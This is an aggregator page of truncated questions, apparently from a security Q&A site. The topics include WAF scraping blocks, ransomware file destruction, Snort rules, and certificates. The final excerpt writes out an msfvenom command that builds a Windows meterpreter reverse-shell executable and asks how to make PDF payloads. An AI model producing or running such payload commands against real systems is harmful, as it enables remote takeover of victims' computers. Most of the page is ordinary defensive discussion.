Unable to block web scraping using Azure WAF [closed]
How can I block web scraping using Azure WAF?
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How ransomware makes the original files unrecoverable? [duplicate]
I was wondering, once the ransomware process has started, how does it make sure the files are unrecoverable (encryption weaknesses not withstanding):
Overwriting files instead of deleting them?
Deleting the original unencrypted files but … Continue reading How ransomware makes the original files unrecoverable? [duplicate]
Security concerns over ˆf_bisa label showing up on Gmail [closed]
Gmail started showing an unidentified label/folder ˆf_bisa.
Doing a quick check, I see that this has only surfaced within the last couple of days:
https://support.google.com/mail/thread/120772882/strange-label-keeps-appearing
https://supp… Continue reading Security concerns over ˆf_bisa label showing up on Gmail [closed]
Can a video file contain code that shares your identity?
Could a video file contain code that reveals and sends your ip/mac address or give access to personal files to somebody else? Would normal video players (like VLC) be able to notice that kind of security issue and not run that specific par… Continue reading Can a video file contain code that shares your identity?
Blocking FTP Brute Force Attack with Snort
I am trying to become familiar with Snort, and for this reason, I have set three VMs. A Kali, a windows machine with XAMPP and Ubuntu where I installed Snort.
I believe I have Snort running in Afpacket Inline mode. Whenever Snort starts it… Continue reading Blocking FTP Brute Force Attack with Snort
Can I recover files that I had on windows from a SSD that I converted to apfs (mac) and which method or tool to use? [closed]
I had some files that I want to recover from windows, but I formatted the ssd drive to macos (apfs)? Is there a tool or method to recover those files?
In the context of emails, what can be digitally signed and what should be digitally signed in the sub context of deal documents?
I was once a customer of a certain developer who sold a SaaS bookkeeping software which allowed sending deal documents (invoice, receipt, etc) to a customer, from the software’s very own email server, and any content sent was always digita… Continue reading In the context of emails, what can be digitally signed and what should be digitally signed in the sub context of deal documents?
Protecting a website from being kidnapped
I have a MediaWiki website in Hebrew;
As common with MediaWiki websites, it has lots of content and rebuilding it in case of a disaster isn’t feasible.
I chose to give that website a Global TLD (a non Israeli X.il TLD) because:
Currently,… Continue reading Protecting a website from being kidnapped
Usage of a self-signed certificate between Akamai and Azure
First of all, some background of what is proposed:
The client’s browser initialises request
The request is resolved by public DNS (CNAME) to Akamai Edge
The request is processed by Akamai accordingly
Connection established … Continue reading Usage of a self-signed certificate between Akamai and Azure
create PDF payloads in Metasploit
I do this to generate an exe in Metasploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.225 LPORT=8500 -f exe > shazzy.exe
And it generates the exe, no trouble
Should I want to generate a PDF file is i… Continue reading create PDF payloads in Metasploit